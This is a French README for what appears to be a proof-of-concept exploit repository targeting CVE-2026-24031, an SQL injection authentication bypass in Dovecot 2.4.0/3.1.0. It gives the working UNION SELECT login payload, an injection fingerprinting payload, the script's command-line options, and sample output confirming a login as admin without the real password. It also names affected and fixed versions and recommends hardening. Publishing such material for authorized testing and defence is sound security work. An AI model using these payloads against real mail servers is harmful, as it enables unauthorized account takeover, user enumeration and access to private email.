
PoC Python autonome pour le bypass de l'authentification SQL de Dovecot : se connecte en tant que n'importe quel utilisateur sans le véritable mot de passe et énumère les noms d'utilisateurs sur les serveurs IMAP/POP3 vulnérables 2.4.0/3.1.0.
Ce dépôt contient un exploit de preuve de concept contournant l'authentification pour CVE-2026-24031, une injection SQL dans l'authentification SQL de Dovecot introduite comme une régression dans Dovecot 2.4.0 / 3.1.0. Dans le laboratoire Docker testé (Dovecot 2.4.0 + PostgreSQL), le PoC se connecte en tant que n'importe quel utilisateur sans connaître son véritable mot de passe, et peut également énumérer les utilisateurs.
Avertissement
Ce PoC réalise un contournement d'authentification non authentifié contre un serveur de messagerie. Utilisez-le uniquement contre un laboratoire vous appartenant ou contre des cibles que vous êtes explicitement autorisé à tester. Il ne modifie pas l'état du serveur, mais il exercera l'authentification et pourra laisser des entrées de connexion échouées dans les journaux.
L'authentification SQL de Dovecot est vulnérable lorsque l'administrateur vide la directive de configuration auth_username_chars (la définit à une valeur vide). auth_username_chars agit normalement comme un filtre d'entrée qui restreint les caractères autorisés dans un nom d'utilisateur avant que celui-ci ne soit interpolé dans la requête passdb SQL.
Avec auth_username_chars = vide, la valeur est transmise à la requête sans sql_escape_string(). Un nom d'utilisateur contrefait contenant des métacaractères SQL devient donc partie intégrante de la requête :
SELECT username AS user, password FROM users
WHERE username = '%{user}' AND active = TRUE
La charge utile suivante fait renvoyer à la requête une ligne pour VICTIM avec un mot de passe choisi par l'attaquant :
' UNION SELECT 'VICTIM','{PLAIN}12345' --
{PLAIN} est analysé par Dovecot (et non par la base de données), donc le schéma de mot de passe est géré nativement et l'astuce fonctionne sur pgsql, mysql, mariadb et sqlite. L'envoi de 12345 comme mot de passe correspond alors, produisant LOGIN OK en tant que VICTIM sans connaître le véritable mot de passe.
La requête résultante est :
SELECT username AS user, password FROM users
WHERE username = '' UNION SELECT 'VICTIM','{PLAIN}12345' -- ' AND active = TRUE
Il s'agit d'une régression introduite dans Dovecot 2.4.0 et également présente dans 3.1.0. Les versions antérieures 2.2.x / 2.3.x échappent le nom d'utilisateur et ne sont pas vulnérables. La faille est corrigée dans 2.4.3 et 3.1.4 (OXDC-ADV-2026-0001, DOV-8781).
La vulnérabilité ne s'applique que lorsque toutes les conditions suivantes sont réunies :
driver = sql) utilisant pgsql, mysql, mariadb ou sqlite ;auth_username_chars = (vide) — la condition de déclenchement définie par l'administrateur ;Le PoC a été validé contre Dovecot 2.4.0 (tag de version officiel, daeb6bc5) + PostgreSQL.
Authentifiez-vous avec le nom d'utilisateur ' OR '1'='1' -- et un mot de passe arbitraire. Sur un serveur vulnérable, la requête est modifiée, donc Dovecot renvoie a1 NO [UNAVAILABLE] Temporary authentication failure. au lieu du classique AUTHENTICATIONFAILED. C'est l'empreinte indiquant que le nom d'utilisateur est parvenu à la requête SQL sans échappement.
Authentifiez-vous avec le nom d'utilisateur :
' UNION SELECT 'VICTIM','{PLAIN}12345' --
et le mot de passe 12345. La ligne UNION remplace la colonne password pour VICTIM, et {PLAIN} est analysé par Dovecot, donc la vérification du mot de passe aboutit.
Comme la forme du résultat de la requête diffère entre « l'utilisateur existe » et « l'utilisateur n'existe pas » (nombre de lignes et statut de la réponse), le serveur révèle si un nom d'utilisateur existe. Cela fonctionne sur tous les backends affectés.
Le PoC est un script Python 3 autonome (bibliothèque standard uniquement). Démarrez le laboratoire vulnérable et exécutez l'exploit :
./run.sh
run.sh construit et démarre le laboratoire Docker (lab/docker-compose.yml), attend IMAPS sur 127.0.0.1:14193, puis exécute le PoC. Le laboratoire construit Dovecot 2.4.0 à partir de l'archive de version officielle avec une configuration intentionnellement vulnérable et une base de données PostgreSQL.
Étapes manuelles équivalentes :
docker compose -f lab/docker-compose.yml up -d --build
python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
Options du PoC :
python3 cve-2026-24031-poc.py <HOST> [PORT] [DELAY] [PROTO]
HOST IP or hostname (required)
PORT 993 = IMAPS/TLS (default), 143 = IMAP, 995 = POP3S, 110 = POP3
DELAY seconds between attempts (default 0.5)
PROTO imap (default) | pop3
Optional environment variables:
CVE24031_USER username to impersonate (default: admin)
CVE24031_PASS password chosen for the UNION row (default: 12345)
La base de données du laboratoire initialise ces utilisateurs : admin/admin123, alice/alicepass, bob/bobpass, postmaster/postpass et victim/supersecret. Le PoC usurpe l'identité de admin sans connaître son mot de passe.
Le PoC a été validé de bout en bout dans le laboratoire Docker. Le véritable mot de passe de l'utilisateur admin est admin123 ; le PoC se connecte en tant que admin en utilisant 12345.
$ python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
[*] Target : 127.0.0.1:14193 (imap, plain)
[*] Victim : admin imposed password: 12345
[*] TARGET CONFIG: Dovecot 2.4.0/3.1.0 + driver=sql + auth_username_chars EMPTY
=== PHASE 1: UNION SELECT (login as victim without real password) ===
[UN ] user="' UNION SELECT 'admin','{PLAIN}12345' -- " pwd='12345' -> OK
============================================================
[!] >>>>>> BYPASS CONFIRMED <<<<<<
[!] Logged in as 'admin' without knowing the real password.
[!] CVE-2026-24031 exploited.
La transcription complète et assainie, y compris les étapes de contrôle légitime et de détection du non-échappement, se trouve dans docs/example-output.txt.
La démonstration animée en haut de ce README (assets/CVE-2026-24031.gif) a été enregistrée à partir d'une session réelle contre le laboratoire en cours d'exécution. Régénérez-la avec :
# with the lab up (docker compose -f lab/docker-compose.yml up -d)
asciinema rec --cols 120 --rows 34 -c "bash demo.sh" demo.cast
agg --font-size 16 --fps-cap 30 --speed 1.2 --theme nord \
--cols 120 --rows 34 demo.cast assets/CVE-2026-24031.gif
demo.sh pilote la démonstration en direct ; demo.cast est l'enregistrement asciinema brut utilisé pour générer le GIF.
L'avis de sécurité (OXDC-ADV-2026-0001, DOV-8781) est déjà publié en amont ; Dovecot 2.4.3 / 3.1.4 échappe le nom d'utilisateur avant de l'interpoler dans la requête SQL. Le correctif n'est donc pas dupliqué dans ce dépôt. Le durcissement recommandé consiste à ne jamais vider auth_username_chars, ou à mettre à niveau vers une version corrigée.
Découverte de la vulnérabilité : whisperer@yeswehack.
Recherche et implémentation de l'exploit : A. Ramos <[email protected]> (Twitter : @aramosf).
PoC du contournement de l'authentification SQL de Dovecot CVE-2026-24031 (contournement de l'authentification + énumération d'utilisateurs)
| Version | Statut |
|---|
| Dovecot 2.2.x | Non affecté (nom d'utilisateur échappé) |
| Dovecot 2.3.x | Non affecté (nom d'utilisateur échappé) |
| Dovecot 2.4.0 | Vulnérable (régression : nom d'utilisateur non échappé) |
| Dovecot 2.4.3+ | Corrigé (nom d'utilisateur échappé) |
| Dovecot 3.1.0 | Vulnérable (même régression) |
| Dovecot 3.1.4+ | Corrigé (nom d'utilisateur échappé) |